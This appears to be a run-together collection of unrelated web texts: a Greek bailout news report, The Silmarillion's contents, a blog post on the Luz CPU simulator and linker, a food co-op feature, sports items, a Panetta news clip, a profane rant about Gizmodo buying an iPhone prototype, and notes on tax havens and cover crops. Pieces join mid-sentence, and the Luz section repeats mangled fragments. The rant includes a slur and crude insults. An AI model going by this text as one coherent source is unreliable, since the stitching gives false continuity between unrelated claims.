That a reinvigorated charity drive will not suffice to solve global economic problems is almost certain. The more difficult question is whether the financial and environmental problems neoliberalism has created might also thwart Ha-Joon Chang’s strategy of neo-Keynesian, neo-developmentalist engagement with the global economy. We must ask whether there is still space for more countries to replicate the economic success of past winners in a world of peak oil, global warming, and geopolitical instability—or whether these challenges will demand a more creative and thorough-going set of changes for an international order that, in a time of crisis, is rapidly being made obsolete.
Mark Engler, senior analyst with Foreign Policy In Focus, is author of How to Rule the World: The Coming Battle Over the Global Economy (Nation Books, 2008). He can be reached via his web site DemocracyUprising.International bailout aid for Greece is scheduled to run out at the end of the year, but EU finance ministers are set to pave the way for an extension of the program, if calls for further reforms are being heeded by Athens.
Ahead of the finance ministers' meeting on Monday and the payment of the last tranche of the current bailout program worth 1.8 billion euros ($2.2 billion), there is little agreement between Athens and Brussels over its budget and reform policy.
Jürgen Matthes from the Cologne Institute for Economic Research is confident that the two sides will reach agreement.
"In the past, there's always been a compromise in the end, albeit at the last minute," he said.
Greece simply does not have many alternatives, Matthes says, as it still finds it hard to raise money in the bond markets. Interest on 10-year Greek bonds currently stand at a hefty 8 percent.
Folker Hellmeyer, chief analyst at BremenLB, also believes that a compromise can be agreed on at the end of January and that the last tranche will be paid out.
"The current disagreement is about Greece's unwillingness to impose further savings measures, especially when it comes to pensions. For them, it makes poltical sense," Hellmeyer said.
'More reforms necessary'
On Sunday, the Greek parliament passed the 2015 budget. Prime Minister Antonis Samaras told Parliament it was the first balanced budget for decades. But the troika of International Monetary Fund, EU and European Central Bank cites different figures, suspecting a hole in the budget worth billions.
As a result, it is calling for more savings measures, which Athens has rejected outright.
Athens's creditors are also demanding increased structural reforms, but Greece's governing coalition of Conservatives and Socialists is keen to avoid or at least defer until after the elections next spring a new "catalogue of cruelties."
Hellmeyer from BremenLB has shone a positive light on Greece's reform efforts from the outset. He believes that a lot has gone better than expected by the troika. But he also thinks there is no alternative to austerity.
"There's been a lot of improvement, especially within the government's budget, but there arev also still major inefficiencies in the country's civil service," Hellmeyer said.
He believes the labor market still needs major reform, too. Currently, he says, the unions are trying to keep the status quo at all costs, making it harder for young people to get a fair chance.
Portugal, Ireland quicker to reform
Portugal and Ireland have both been quicker to reform their ailing economies than Greece, which admittedly started from a lower base and needed more wide-reaching reforms.
Matthes from the Cologne Institute for Economic Research says it is a political problem. While the governments in Portugal and Ireland saw the pressure from the troika as an incentive to change, the same cannot be said of Greece.
"Looking at it from the outside, you get the impression that the government is not wholly convinced of the need for reforms," Matthes said.
But he also says that "resistance to the reforms in Greece is much higher than in Ireland and Portugal so it's much harder for the government there," which he says is possibly down to politicians having failed to make the need for reforms clear to the Greek people.
No alternative to the troika
Athens' aim to get rid of the troika - or at least the IMF - is unrealistic at present. Matthes believes Greece needs to stick with the reform agenda, and the troika needs to continue to put pressure on Greece, possibly more gently than it has done in the past.
Samaras, however, has already declared his reform efforts a "success story" as he never fails to call it - in English - even when speaking to Greeks. Hellmeyer thinks it is not that far-fetched and that one should not scoff at Greece's achievements so far.
"They've been able to stabilize the economy long-term, albeit at a very low level. They've managed to stabilize the budgetary situation, and there are once again structural surpluses," he said.
So, yes, the word "success" applies, but "it's a success that needs to be worked on," in Hellmeyer's eyes.John Ronald Reuel Tolkien
The Silmarillion
(1977)
© J.R.R.Tolkien, 1977
E-Text: Tolkien.ru
Contents
FOREWORD (Christopher Tolkien)
AINULINDALË : The Music of the Ainur
VALAQUENTA : Account of the Valar and Maiar according to the lore of the Eldar
QUENTA SILMARILLION : The History of the Silmarils
Chapter 1. Of the Beginning of Days
Chapter 2. Of Aulë and Yavanna
Chapter 3. Of the Coming of the Elves and the Captivity of Melkor
Chapter 4. Of Thingol and Melian
Chapter 5. Of Eldamar and the Princes of the Eldalië
Chapter 6. Of Fëanor and the Unchaining of Melkor
Chapter 7. Of the Silmarils and the Unrest of the Noldor
Chapter 8. Of the Darkening of Valinor
Chapter 9. Of the Flight of the Noldor
Chapter 10. Of the Sindar
Chapter 11. Of the Sun and Moon and the Hiding of Valinor
Chapter 12. Of Men
Chapter 13. Of the Return of the Noldor
Chapter 14. Of Beleriand and Its Realms
Chapter 15. Of the Noldor in Beleriand
Chapter 16. Of Maeglin
Chapter 17. Of the Coming of Men into the West
Chapter 18. Of the Ruin of Beleriand and the Fall of Fingolfin
Chapter 19. Of Beren and Lúthien
Chapter 20. Of the Fifth Battle: Nirnaeth Arnoediad
Chapter 21. Of Túrin Turambar
Chapter 22. Of the Ruin of Doriath
Chapter 23. Of Tuor and the Fall of Gondolin
Chapter 24. Of the Voyage of Eärendil and the War of Wrath
AKALLABÊTH : The Downfall of Númenor
OF THE RINGS OF POWER AND THE THIRD AGE in which
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interesting features in Luz; a blog post seemed like the perfect medium for this.
As before, it makes sense to start with the Luz toplevel diagram:
Luz is a collection of related libraries and programs written in Python, implementing all the stages shown in the diagram above.
The CPU simulator The Luz CPU is inspired by MIPS (for the instruction set), by Altera Nios II (for the way "peripherals" are attached to the CPU), and by MPC 555 (for the memory controller) and is aimed at embedded uses, like Nios II. The Luz user manual lists the complete instruction set explaining what each instructions means. The simulator itself is functional only - it performs the instructions one after the other, without trying to simulate how long their execution takes. It's not very remarkable and is designed to be simple and readable. The most interesting feature it has, IMHO, is how it maps "peripherals" and even CPU control registers into memory. Rather than providing special instructions or traps for OS system calls, Luz facilitates "bare-metal" programming (by which I mean, without an OS) by mapping "peripherals" into memory, allowing the programmer to access them by reading and writing special memory locations. My inspiration here was soft-core embeddable CPUs like Nios II, which let you configure what peripherals to connect and how to map them. The CPU can be configured before it's loaded onto real HW, for example to attach as many SPI interfaces as needed. For Luz, to create a new peripheral and attach it to the simulator one implements the Peripheral interface: class Peripheral ( object ): """ An abstract memory-mapped perhipheral interface. Memory-mapped peripherals are accessed through memory reads and writes. The address given to reads and writes is relative to the peripheral's memory map. Width is 1, 2, 4 for byte, halfword and word accesses. """ def read_mem ( self, addr, width ): raise NotImplementedError () def write_mem ( self, addr, width, data ): raise NotImplementedError () Luz implements some built-in features as peripherals as well; for example, the core registers (interrupt control, exception control, etc). The idea here is that embedded CPUs can have multiple custom "registers" to control various features, and creating dedicated names for them bloats instruction encoding (you need 5 bits to encode one of 32 registers, etc.); it's better to just map them to memory. Another example is the debug queue - a peripheral useful for testing and debugging. It's a single word mapped to address 0xF0000 in the simulator. When the peripheral gets a write, it stores it in a special queue and optionally emits the value to stdout. The queue can later be examined. Here is a simple Luz assembly program that makes use of it: # Counts from 0 to 9 [inclusive], pushing these numbers into the debug queue.segment code.global asm_main.define ADDR_DEBUG_QUEUE, 0xF0000 asm_main: li $k0, ADDR_DEBUG_QUEUE li $r9, 10 # r9 is the loop limit li $r5, 0 # r5 is the loop counter loop: sw $r5, 0($k0) # store loop counter to debug queue addi $r5, $r5, 1 # increment loop counter bltu $r5, $r9, loop # loop back if not reached limit halt Using the interactive runner to run this program we get: $ python run_test_interactive.py loop_simple_debugqueue DebugQueue: 0x0 DebugQueue: 0x1 DebugQueue: 0x2 DebugQueue: 0x3 DebugQueue: 0x4 DebugQueue: 0x5 DebugQueue: 0x6 DebugQueue: 0x7 DebugQueue: 0x8 DebugQueue: 0x9 Finished successfully... Debug queue contents: ['0x0', '0x1', '0x2', '0x3', '0x4', '0x5', '0x6', '0x7', '0x8', '0x9']
Assembler There's a small snippet of Luz assembly shown above. It's your run-of-the-mill RISC assembly, with the familiar set of instructions, fairly simple addressing modes and almost every instruction requiring registers (note how we can't store into the debug queue directly, for example, without dereferencing a register that holds its address). The Luz user manual contains a complete reference for the instructions, including their encodings. Every instruction is a 32-bit word, with the 6 high bits for the opcode (meaning up to 64 distinct instructions are supported). The code snippet also shows off some special features of the full Luz toolchain, like the special label asm_main. I'll discuss these later on in the section about linking. Assembly languages are usually fairly simple to parse, and Luz is no exception. When I started working on Luz, I decided to use the PLY library for the lexer and parser mainly because I wanted to play with it. These days I'd probably just hand-roll a parser. Luz takes another cool idea from MIPS - register aliases. While the assembler doesn't enforce any specific ABI on the coder, some conventions are very important when writing large assembly programs, and especially when interfacing with routines written by other programmers. To facilitate this, Luz designates register aliases for callee-saved registers and temporary registers. For example, the general-purpose register number 19 can be referred to in Luz assembly as $r19 but also as $s1 - the callee-saved register 1. When writing standalone Luz programs, one is free to ignore these conventions. To get a taste of how ABI-conformant Luz assembly would look, take a look at this example. To be honest, ABI was on my mind because I was initially envisioning a full programming environment for Luz, including a C compiler. When you have a compiler, you must have some set of conventions for generated code like procedure parameter passing, saved registers and so on; in other words, the platform ABI.
Linker In my view, one of the distinguishing features of Luz from other assembler projects out there is the linker. Luz features a full linker that supports creating single "binaries" from multiple assembly files, handling all the dirty work necessary to make that happen. Each assembly file is first "assembled" into a position-independent object file; these are glued together by the linker which applies the necessary relocations to resolve symbols across object files. The prime sieve example shows this in action - the program is divided into three.lasm files: two for subroutines and one for "main". As we've seen above, the main subroutine in Luz is called asm_main. This is a special name for the linker (not unlike the _start symbol for modern Linux assemblers). The linker collects a set of object files produced by assembly, and makes sure to invoke asm_main from the special location 0x100000. This is where the simulator starts execution. Luz also has the concept of object files. They are not unlike ELF images in nature: there's a segment table, an export table and a relocation table for each object, serving the expected roles. It is the job of the linker to make sense in this list of objects and correctly connect all call sites to final subroutine addresses. Luz's standalone assembler can write an assembled image into a file in Intel HEX format, a popular format used in embedded systems to encode binary images or data in ASCII. The linker was quite a bit of effort to develop. Since all real Luz programs are small I didn't really need to break them up into multiple assembly files; but I really wanted to learn how to write a real linker :) Moreover, as already mentioned my original plans for Luz included a C compiler, and that would make a linker very helpful, since I'd need to link some "system" code into the user's program. Even today, Luz has some "startup code" it links into every image: # The special segments added by the linker. # __startup: 3 words # __heap: 1 word # LINKER_STARTUP_CODE = string.Template(r'''.segment __startup LI $$sp, ${SP_POINTER} CALL asm_main.segment __heap.global __heap __heap:.word 0 ''') This code sets up the stack pointer to the initial address allocated for the stack, and calls the user's asm_main.
Debugger and disassembler Luz comes with a simple program runner that will execute a Luz program (consisting of multiple assembly files); it also has an interactive mode - a debugger. Here's a sample session with the simple loop example shown above: $ python run_test_interactive.py -i loop_simple_debugqueue LUZ simulator started at 0x00100000 [0x00100000] [lui $sp, 0x13] >> set alias 0 [0x00100000] [lui $r29, 0x13] >> s [0x00100004] [ori $r29, $r29, 0xFFFC] >> s [0x00100008] [call 0x40003 [0x10000C]] >> s [0x0010000C] [lui $r26, 0xF] >> s [0x00100010] [ori $r26, $r26, 0x0] >> s [0x00100014] [lui $r9, 0x0] >> s [0x00100018] [ori $r9, $r9, 0xA] >> s [0x0010001C] [lui $r5, 0x0] >> s [0x00100020] [ori $r5, $r5, 0x0] >> s [0x00100024] [sw $r5, 0($r26)] >> s [0x00100028] [addi $r5, $r5, 0x1] >> s [0x0010002C] [bltu $r5, $r9, -2] >> s [0x00100024] [sw $r5, 0($r26)] >> s [0x00100028] [addi $r5, $r5, 0x1] >> s [0x0010002C] [bltu $r5, $r9, -2] >> s [0x00100024] [sw $r5, 0($r26)] >> s [0x00100028] [addi $r5, $r5, 0x1] >> r $r0 = 0x00000000 $r1 = 0x00000000 $r2 = 0x00000000 $r3 = 0x00000000 $r4 = 0x00000000 $r5 = 0x00000002 $r6 = 0x00000000 $r7 = 0x00000000 $r8 = 0x00000000 $r9 = 0x0000000A $r10 = 0x00000000 $r11 = 0x00000000 $r12 = 0x00000000 $r13 = 0x00000000 $r14 = 0x00000000 $r15 = 0x00000000 $r16 = 0x00000000 $r17 = 0x00000000 $r18 = 0x00000000 $r19 = 0x00000000 $r20 = 0x00000000 $r21 = 0x00000000 $r22 = 0x00000000 $r23 = 0x00000000 $r24 = 0x00000000 $r25 = 0x00000000 $r26 = 0x000F0000 $r27 = 0x00000000 $r28 = 0x00000000 $r29 = 0x0013FFFC $r30 = 0x00000000 $r31 = 0x0010000C [0x00100028] [addi $r5, $r5, 0x1] >> s 100 [0x00100030] [halt] >> q There are many interesting things here demonstrating how Luz works: Note the start up at 0x1000000 - this is where Luz places the start-up segment - three instructions that set up the stack pointer and then call the user's code ( asm_main ). The user's asm_main starts running at the fourth instruction executed by the simulator.
- this is where Luz places the start-up segment - three instructions that set up the stack pointer and then the user's code ( ). The user's starts running at the fourth instruction executed by the simulator. li is a pseudo-instruction, broken into two real instructions: lui for the upper half of the register, followed by ori for the lower half of the register. The reason for this is li having a 32-bit immediate, which can't fit in a Luz instruction. Therefore, it's broken into two parts which only need 16-bit immediates. This trick is common in RISC ISAs.
is a pseudo-instruction, broken into two real instructions: for the upper half of the register, followed by for the lower half of the register. The reason for this is having a 32-bit immediate, which can't fit in a Luz instruction. Therefore, it's broken into two parts which only need 16-bit immediates. This trick is common in RISC ISAs. Jump labels are resolved to be relative by the assembler: the jump to loop is replaced by -2.
is replaced by. Disassembly! The debugger shows the instruction decoded from every word where execution stops. Note how this exposes pseudo-instructions.
The in-progress RTL implementation Luz was a hobby project, but an ambitious one :-) Even before I wrote the first line of the assembler or simulator, I started working on an actual CPU implementation in synthesizable VHDL, meaning to get a complete RTL image to run on FPGAs. Unfortunately, I didn't finish this part of the project and what you find in Luz's experimental/luz_uc directory is only 75% complete. The ALU is there, the registers, the hookups to peripherals, even parts of the control path - dealing with instruction fetching, decoding, etc. My original plan was to implement a pipelined CPU (a RISC ISA makes this relatively simple), which perhaps was a bit too much. I should have started simpler.Luke Maurerstocks Madam J’s. Sticky Fingers jam and jelly made in Milwaukee, at Outpost Natural Foods in Wauwatosa. Credit: Mike De Sisti
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In 1971 when Steve Pincus was in his 20s, he and about a dozen others founded Outpost, a food co-op that tried to provide locally grown, preferably organic, food to its members.
As Pincus, a city boy from Philadelphia, ventured into the countryside to look for fresh farm products for the co-op, he found rural life alluring.
"I was turned on by what I saw," he says. "I said 'I want to do this.'"
So he went to work on a farm, even though he had never even tried gardening, and lived in a tepee for a time. Eventually, he bought a farm that brought him full circle back to Outpost.
Forty years later, he owns 75 acres in Evansville, west of Janesville, and for about the last 15 years he and his Tipi Produce have become a large supplier of organic produce to Outpost Natural Foods, which is about to open its fourth store in Mequon.
Today, Outpost has 19,000 members.
Although the use of local products is embedded in the co-op culture of Outpost, in the last 10 years it has become even more important to customers who want to know where their food comes from, says Lisa Malmarowski, the director of brand and store development at Outpost.
The local food movement has become so important — especially as the competition has ramped up from Whole Foods, Trader Joe's and others — that Outpost has formalized its policy of buying local and regional products. It now has a 10-year goal to try to stock its stores with 75% local or regional products for most categories, she says.
Full-time forager
Outpost has hired a full-time "forager," or local purchasing specialist, to bring in more local and regional vendors and products.
That means working with vendors on their products, packaging, coordinating merchandising and a variety of issues, says Zack Hepner, who moved into that position about six months ago.
"We want to make our local vendors as successful as possible by bringing in new products they're offering and helping them get the product off the ground to make sure they create a sustainable product and business," he says.
In all, he and others at the store deal with about 800 vendors, not all local, but more and more are coming from Wisconsin and the region that includes Minnesota, Iowa, Michigan, Illinois and Indiana.
In the last five to six months, at least 20 new vendors have been added to Outpost, he said.
Vendors must meet policy guidelines that include foods with no artificial flavorings, colorings or preservatives. They must adhere to labeling laws, nutritional information and the new code of conduct that outlines workplace conditions and compliance with laws.
It was the code of conduct that caused Outpost to take Palermo Pizza products off the shelves after the Milwaukee company was cited by federal officials in connection with an accident in which a worker lost three fingers. Palermo's was the first product pulled from the shelves under the new code of conduct policy, Malmarowski says.
Benefits of buying local
Outpost's goal to move toward more local and regional foods is part of a national and worldwide movement, says Michael Schuman, an economist and author of a number of books, including "The Small Mart Revolution: How Local Businesses Are Beating the Global Competition and Going Local."
Economic, environmental and public health benefits come from encouraging consumers to shift to buying more local food, he says.
"It's a win, win, win situation that benefits the tax base, entrepreneurship, tourism and attracting other businesses," he said in a telephone interview from Silver Spring, Md.
"Part of it is instinctive. People like things fresh and tasty, and when it comes to local, there's the belief that's the case — and it usually is," he says.
Health awareness
Consumers feel they can trust their local growers and producers, he says. And there's a growing awareness of the health benefits of eating local, as opposed to packaged and processed food that contribute to epidemic levels of obesity and diabetes around the nation, he says.
Walking down Outpost aisles there are five brands of eggs, all from Wisconsin, three organic and all cage-free.
There's locally produced milk and yogurt, along with Juiced!, a cold-pressed juice made in Milwaukee with all fresh ingredients, such as kale, apples, ginger, cucumber and lime, Hepner said.
Although the frozen pizza market is super-competitive, Erik Burgos and Nick Smith spent two years refining a recipe for a Milwaukee pizza and launched the Milwaukee Pizza Co. about a year ago from a space in Bay View.
The pizzas are all made from scratch with a thin and flaky crust, Burgos says. Peppers, onions and other vegetables and meat products are fresh with no preservatives or nitrates.
Another new product is Gitto Farm n Kitchen flour tortillas made with all organic ingredients.
Greg and Carol Gitto raise dairy cows and vegetables in Watertown, but decided to make flour tortillas following in the footsteps of a Canadian friend.
One of the most popular sellers at Outpost, says Hepner, is Becky's Blissfull Bakery caramels, made in Pewaukee with 100% organic products and no corn syrup.
Looking back, Pincus says 40 years ago there was a lot of skepticism about organic farming. "We were not well regarded," he says.
"But we've shown organic farming can work and can produce lot of excellent food. Now one of our major roles is to educate young farmers and bring up the next generation of farmers."College football programs recruit players for various reasons, most importantly their ability. They often take players not accustomed to their system and turn him into the piece they need for their particular offense or defense.
With TCU and Travin Howard, that is definitely not the case.
Longview's senior safety, who was previously committed to UTSA, visited TCU this past weekend, received an offer, and committed to the Horned Frogs on Wednesday, giving them a player that is tailor-made for their well-known 4-2-5 defensive scheme.
Longview head coach John King confirmed Howard's switch to TCU via text around 8 p.m. Wednesday evening, just after Scout.com-affiliated HornedFrogBlitz.com first reported the news.
Longview S Travin Howard. (Christopher Vinn, ETSN.fm)
The 6-foot, 178-pound Howard has played extensively for two years in Longview's version of the 4-2-5, which shares plenty of similarities with the TCU scheme that head coach Gary Patterson has used to build the Frogs into a consistent football force during the past decade.
Howard started at an outside safety spot -- often in the box with the flexibility to attack downhill or drop into coverage -- for Longview in 2013, when he assembled one of the best defensive campaigns in recent memory in East Texas. Howard finished with 89 tackles, 10 for loss, one sack, eight interceptions, three forced fumbles, one fumble recovery, one punt block, eight pass breakups, and four defensive touchdowns (three INTs, one fumble return).
Howard's playmaking ability and versatility also translated to special teams, where he averaged almost 16 yards per punt return and took back two punt returns for touchdowns.
The electric athletic ability Howard possesses was obvious last May at the ETSN.fm Football Recruiting Combine at APEC training facility in Tyler. He clocked a laser-timed 4.54-second 40-yard dash and recorded a 36-inch vertical and a 10-foot, 4 1/2-inch broad jump, which tied for the the best broad jump performance of the 100 participants at the event. Howard's 1.92-second time in the final 20 yards of his 40-yard dash tied with several other competitors for the seventh-fastest at the combine in the final 20 yards.
Howard is 1 of 36 East Texans in the 2014 class with at least one Division I FBS offer and the 27th player committed to an FBS program. He joins Palestine defensive end/linebacker Jarrell Owens as the region's two TCU pledges in the 2014 class. Owens committed to TCU in June.
With National Signing Day approaching (Feb. 5), recruiting has seriously picked up in East Texas during recent days. Howard joined Chapel Hill defensive lineman Keith Minor, who committed to New Mexico, as the region's two Wednesday pledges.
2014 East Texas Football Players With Division I FBS OffersHome | More Videos | About Us | Contact | Subscribe | Donate
Panetta disarms Marines in Afghanistan
amid fears of possible rogue Marine Program length - 2:39 Afghanistan, Marines disarmed, Panetta, Secretary of Defense Subscribe to Brasscheck TV Your e-mail address is kept absolutely private
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Marines disarmed for Leon Panetta speech
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By TIM MAK Politico Hundreds of U.S. Marines were suddenly told Wednesday to leave and return unarmed to a venue where Secretary of Defense Leon Panetta was scheduled to speak, according to reports — an unusual move that illustrates the military’s heightened security concerns.
Typically, American forces in Afghanistan have kept hold of their weapons when Panetta addressed them.
But on Wednesday, about 200 Marines were told to take their weapons outside of the large tent at Camp Leatherneck where Panetta spoke and to leave them there, while Afghan troops already were unarmed, as is customary for these events, reports The Associated Press.
The commander on the scene, Sgt. Maj. Brandon Hall, said he was acting on orders from highers-up.
“Something has come to light,” Hall told the troops, according to the wire service. “I was told to get the weapons out.”
“All I know is, I was told to get the weapons out,” he told The New York Times. “Somebody got itchy, that’s all I’ve got to say. Somebody got itchy; we just adjust.”
Read more hereUntil next deviation LATERS Bronies
drawn and coloured in photoshop
CS6 with my Wacom Pro
in 1 hours
hate it its up to you not marmite Like ithate itits up to you not marmite
Looks like i may have found something new to upload on a Friday from now on guysI have really grown attached too drawing these twoThis is just me thinking out loud obviously but I may turn this in to a tumblrbut unlike Rarijack it would not be daily. But I would like to make this a regaler thing as it opens up a lot of visually interesting ideas, also I would not want to do cute stuff all the time with this pair or even as ponies. its got to have that crazy Jowybean styleI am giving Missall the credit for the inspiration of this ideamy dear lady you rock woo hoo even if this tumblr becomes a thing it will never beat the awesome that is RarijackA friend of mine from home called me the other day to let me know that "some guys from the Internet" had purchased a prototype of the next iPhone from some guy who claims to have found it, and were parading it around TV shows and taking it apart for everyone to see. My friend felt that it was probably wrong and asked what I thought. I took a few minutes to read some of Gizmodo's articles and came to the conclusion that when you buy something knowing full-well it belongs to someone else-- either a person or an organization-- and you know they probably want it back, yes, I would say that is wrong. Not to mention opening it up and publishing trade secrets.
"You are looking at Apple's next iPhone. It was found lost in a bar in Redwood City, camouflaged to look like an iPhone 3GS. We got it. We disassembled it. It's the real thing, and here are all the details."
Pardon me, but could someone who is participating in the same reality as myself tell me how this is NOT illegal?
"But someone tried to contact Apple and they never responded!"
Okay, sure. They may have left a few voicemails, and then took a pry-bar to the phone. I heard Osama Bin Laden tried calling the White House on 9/10 but they never returned his call so he figured it was cool. Big deal. On top of that, every bedwetting nerd and dope in the Bay Area knows Apple's based in Cupertino, and exactly how to find directions using Google Maps. If returning the device was truly Gizmodo's concern, they could've dropped it off with the receptionist and called it a day. Or, wait, maybe this blog organization admittedly paid some shady guy $5K knowing this device was confidential property and intended to do an expose from the start, totally scooping the identical dog and pony show across the street, Engadget. Wow, that almost seems too logical, and illegal to boot!
"But don't journalists have a responsibility to be journalists? Information was meant to be free!"
Except journalism is reporting on a story, not making yourself into a story. This would've been a neat Gizmodo piece: "Some retard swiped an iPhone prototype at a bar and called us up trying to sell it. We were like 'Yeah, cool, what's your number?' and then we called the fucking FBI because nobody in their right mind would even consider running their business like that. More reviews of fart apps after the jump.'
Journalism also does not involve hyping your crime up for several days afterward as the story of the century, bragging about it over several articles in a nauseatingly puerile, self-congratulatory fashion. This shit reads like a high school newspaper that just discovered evidence that the principal wears a toupee.
Another thing not usually involved in journalism, at least in the first world, is practically live-blogging the confiscation of your computers as if you're about to be some kind of political prisoner. The only thing Gawker Media is a prisoner of (at the moment, anyway) is a ridiculous, childlike perception of the world in which they became Invincible Internet Heroes for pulling the mysterious curtain off a product several weeks before its debut.
As of this writing, Gizmodo's big defense seems to be that the search warrant used to remove Gizmodo's computers "was invalid under section 1524(g) of the California Penal Code". Essentially saying "Journalist! Can't bust us for doing journalism!"
Tom's Guide: The search warrant, issued by a Superior Court judge in San Mateo County, alleges that the devices owned by Jason Chen may have been used in a felony. However Gawker Media's Nick Denton believes that California law--which protects journalists from turning over anonymous sources or unpublished material to law enforcement during a search--also applies to Chen's personal property. The big question at the moment is what defines the online writer: are they journalists, or are they bloggers? "I guess we'll find out," Denton told the AP.
Well, Nick Denton, your name suggests you might be a 1940's rogue private eye, as well as your understanding of the conventions of law. Frankly folks, this man is a dumbass and someone who might be described as "a real piece of work".
Regardless of the fact that Nick "Puddin' Face" Denton has bragged about paying an anonymous shady man for the prototype iPhone, I would argue time and time again, until the last disgusting breath leaves my horrible body, that bloggers are generally not real journalists. Some are, but it's very rare, and those people are extremely talented and dedicated. Remember that episode of Salute Your Shorts where Sponge and that greasy new guy ran a newspaper? They were bloggers. That's what a blog is, except it's on the Internet and somehow more pathetic than that one from the show.
Just because Gawker Media has money and employees does not make their operation any more valid than a weird guy on Facebook drunkenly writing messages about every girl he ever liked. It's the same thing. Journalists have merit and credibility. Gawker Media resorted to a tactic most would define as thuggery in order to produce a news story from relatively nothing, and, like myself, should not ever consider themselves journalists.
– Jon "@fart" Hendren (@fart)The global 1 percent hold twenty-one to thirty-two trillion dollars in offshore havens in order to evade taxes, according to James S. Henry, the former chief economist at the global management consulting firm, McKinsey & Company. Based on data from the Bank for International Settlements, the International Monetary Fund, the World Bank, and 139 countries, Henry found that the top 1 percent hid more than the total annual economic output of the US and Japan combined. For perspective, this hidden wealth is at least seven times the amount—$3 trillion—that many estimates suggest would be necessary to end global poverty.
If this hidden wealth earned a modest rate of 3 percent interest and that interest income were taxed at just 30 percent, these investments would have generated income tax revenues between $190 and $280 billion, according to the analysis.
Domestically, the Federal Reserve reported that the top seven US banks hold more than $10 trillion in assets, recorded in over 14,000 created “subsidiaries” to avoid taxes.
Henry identified this hidden wealth as “a huge black hole in the world economy that has never before been measured,” and noted that the finding is particularly significant at a time when “governments around the world are starved for resources, and we are more conscious than ever of the costs of economic inequality.”
Censored #2
Richest Global 1 Percent Hide Trillions in Tax Havens
Carl Herman, “1% Hide $21 Trillion and US Big Banks Hide $10 Trillion; Ending World poverty: $3 Trillion,” Washington’s Blog, July 24, 2012, http://www.washingtonsblog.com/2012/07/1-hide-21-trillion-us-big-banks-hide-10-trillion-ending-world-poverty-3-trillion.html.
James S. Henry, “The Cost of Offshore Revisited,” Tax Justice Network, July 2012, http://www.taxjustice.net/cms/upload/pdf/Price_of_Offshore_Revisited_120722.pdf.
Student Researcher: Lyndsey Casey (Sonoma State University)
Faculty Evaluator: Peter Phillips (Sonoma State University)EAST RUTHERFORD, N.J. -- Fireman Ed, aka Ed Anzalone, apparently couldn’t take the debacle of a second quarter and left at the half. That is according to Twitter users who say they sat in his section. Anzalone’s own Twitter account was deactivated during the game as well. Not a banner night for the team, and not for an icon of a New York Jets fan either.
Former nose tackle and analyst Kris Jenkins noticed. “Fireman Ed deleted his account?” Jenkins tweeted. “Wow thought he was a diehard fan? Guess he went back to the Dolphins.”
KELLER IN: Dustin Keller wasn’t optimistic about a Jets' playoff run, but he wouldn’t count it out. That said, the Jets tight end was blunt about how ugly the loss to the Patriots was.
“I can’t explain it,” Keller said. “It is just crazy to have that many turnovers the way that we had them. We were just killing ourselves. I can’t tell you what it is, but the offense just handed them points. Not to take anything away from them, but the self-inflicted wounds are just killing us.”
JETS INJURIES: The Jets receiver corps took another hit when Clyde Gates and Chaz Schilens both sustained head injures during the game. They were both present in the locker room, but were not available to the media because of NFL rules restricting contact with players who are possibly concussed.
As for Muhammad Wilkerson, the defensive end left the game in the first half but later returned. “I’m good,” Wilkerson said. “Just a little neck injury.”
THANKSGIVING TURNOVERS: The Jets had five turnovers against the Patriots, including two that led to second-quarter touchdowns. Mark Sanchez was responsible for an interception and a fumble -- his 14th and 15th turnovers of the season. Why can’t the Jets better protect the ball?
“I think that’s the million-dollar question right there,” Sanchez said. “That’s what we’re still working on. There's no time to point fingers or be upset. We just have to keep playing, try to fix it on the fly, come back next week and try to play a clean game and see what happens.”This video is disturbing!!! What do cops want to say us? Just comply and you won’t die? Is it their new motto?
Man was held at gunpoint for parking outside his own house! Mr. Cunningham rights were grossly violated by a former Prince George’s County police officer, Jenchesky Santiago. He was indicted on an assault charge and sentenced to 5 years in prison. A bystander’s cellphone video, capturing the incident shows the cop shouting threats and aiming gun at Mr. Cunningham. Prior to this moment, Santiago pulled over next to Mr. Cunningham’s house and accused him of illegal parking. He wouldn’t listen to the man explaining that he lived in the house. Instead, this furious cop pulled his weapon and pointed it at the man’s head.
Good news – Santiago was fired from the department and ended up in jail.
If not for this video, he would have walked free and would be abusing his power now.But for those of you who have crop insurance policies, you may have found trying to get your cover crop program in harmony with federal rules has been a bumpy ride.
But there have been some changes recently. The Farm Service Agency (FSA), Natural Resources Conservation Service (NRCS) and Risk Management Agency (RMA) have updated termination and reporting guidelines for cover crops, according to a December 2016 USDA Bulletin. To view the zones and additional guidelines, www.nrcs.usda.gov and click “Cover Crop Termination Guidelines.”
Here are some highlights:
The intended use of cover only will be used to report cover crops. This includes crops that were terminated by tillage and reported with an intended use code of green manure.
An FSA policy change will allow cover crops to be hayed and grazed. Program eligibility for the cover crop that is being hayed or grazed will be determined by each specific program, the USDA says. If the crop reported as cover only is harvested for any use other than forage or grazing and is not terminated properly, then that crop will no longer be considered a cover crop.
Crops reported with an intended use of cover only will not count toward the total cropland on the farm. In these situations a subsequent crop will be reported to account for all cropland on the farm.
A cover crop managed and terminated according to NRCS Cover Crop Termination Guidelines isn’t considered a crop for crop insurance purposes. Cover crops can be planted with no subsequent crop planted, before a subsequent crop, after prevented planting acreage, after a planted crop, or into a standing crop.
Ryan Stockwell, senior agriculture program manager for the National Wildlife Federation, says it’s important to clarify what all of the language means —namely, that farmers may plant a cover crop into a standing crop as long as the insured crop can be expected to reach average yield.
“Also, one important point not stated in the fact sheet is that weather-caused delays in termination are not grounds for ineligibility for crop insurance,” he adds.
“Weather must be taken out of the equation when determining the termination of a cover crop, or if a cover crop interferes with the growth of an insured crop. Simply put, cover crops cannot be blamed for bad weather.”
The rules certainly aren’t perfect, and Stockwell rightly points out that covers are the only agronomic practice in which RMA has created specific rules tied to eligibility, “even though scientific research is conclusively showing cover crops pose less risk to yield loss than other practices.”
But I certainly hope enough of these conflicts with crop insurance have been minimized that it’s not stopping too many no-tillers from at least experimenting with covers. If crop insurance rules are causing you to avoid seeding covers, I’d like to know about it: feel free to send me an e-mail.All of us probably noticed that mobile phone industry is rapidly grow up. Smartphones are becoming the dominant
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disco flair
'Letting Rip' | It's not what it looks like - there's a football there somewhere, I swear
'The Funky Chicken' | A classic. Expected to be displayed when Chelsea face Blackburn
